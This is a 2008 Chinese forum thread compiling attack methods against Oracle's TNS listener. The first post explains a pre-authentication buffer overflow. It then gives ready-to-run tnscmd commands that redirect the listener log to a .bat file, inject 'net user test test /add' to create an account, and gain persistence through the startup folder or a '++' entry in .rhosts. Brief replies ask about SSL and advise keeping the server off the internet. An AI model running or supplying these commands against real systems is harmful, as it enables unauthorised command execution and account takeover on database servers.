打印

针对Oracle的TNS listener的攻击方法整理

针对Oracle的TNS listener的攻击方法整理

首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,TNS listener曾经有过多次溢出和格式化字符串的漏洞

    其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。假设某个listener没有设置口令,攻击方法如下:

   tnscmd -h www.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))"  

   将日志目录设置到C盘
   tnscmd -h www.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))"     

   将日志文件设置为
   test.bat tnscmd -h www.example.com --rawcmd "(CONNECT_DATA=((     ||dir >test.txt||net user test test /add))"     

   该命令把dir >test.txt、net user test test /add命令写入c:test.bat文件,由于双竖线的作用(第一条命令执行失败后,WINDOWS命令解释器执行后面的命令)把错误的信息注释掉,从而可以执行我们提交的命令

    通过设置日志文件到不同的目录,例如WINDOWS的启动目录,当服务重启将执行恶意用户提交的特定代码,从而对系统造成威胁。

    运行于UNIX系统上的oracle也会受到同样的威胁。其中一种方法就是将“++”回送给.rhost文件,当系统运行时,使用r*services命令。

[ 本帖最后由 血腥魔术师 于 2008-7-2 01:26 编辑 ]
如果没有爱,就守住寂寞吧!

TOP

使用64位的Oracle并且监听器启用SSL能否起到防护作用?
|-- AI by Spruce Lab -- | Discover the Info. Tech. for Personal! && Powered by Solaris & Oracle

TOP

引用:
原帖由 云杉上的蝴蝶 于 2008-7-2 02:27 发表
使用64位的Oracle并且监听器启用SSL能否起到防护作用?
Oracle数据库服务器禁止在INTERNET暴露。把权限设好。基本上黑客捞不到什么好处。
生活就是每天挤公交车..
在混浊空气之中和在走走停停之间幻想着世界的美好....

TOP


感谢一直以来您对我们的支持!
当前时区 GMT+8, 现在时间是 2008-10-11 21:16 京ICP证060528 号

Designed By 17DST